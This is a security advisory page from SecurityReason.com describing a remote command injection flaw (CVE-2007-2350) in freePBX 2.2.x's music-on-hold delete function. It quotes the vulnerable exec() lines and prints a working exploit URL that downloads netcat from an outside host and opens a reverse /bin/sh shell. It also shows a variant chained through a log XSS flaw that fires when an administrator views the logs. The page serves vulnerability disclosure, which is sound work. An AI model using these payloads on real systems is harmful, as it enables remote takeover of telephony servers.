SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

freePBX 2.2.x's Music-on-hold Remote Code Execution Injection


Arrow  SecurityAlert : 2652
Arrow  CVE : CVE-2007-2350
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : XenoMuta
Arrow  Published : 02.05.2007

Arrow  Affected Software : freePBX 2.2.x



Arrow  Advisory Content :  

I've found a code injection in the music-on-hold module at freePBX's
portal.

There are Inssuficient filters in the delete functions. Only " '
and ; are being filtered.

Vulnerable Lines:
300: $rmcmd="rm -f "".$path_to_dir."/".
$del.""";
301: exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.php?display=music&del=`wget -q
http://xenomuta.coolinc.info/nc -O /tmp/nc``/tmp/nc
myhost.mydomain.com 1234 -e /bin/sh`&category=default


You can inject this code without access to the portal into the /var/
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src="/admin/config.php?
display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc
``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default">"
hoping that an administrator to view the logs from the portals....
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/
053882.html


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2425 bytes
Desc: not available
Url :
http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070421/af7
f0d9a/attachment.bin

























Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.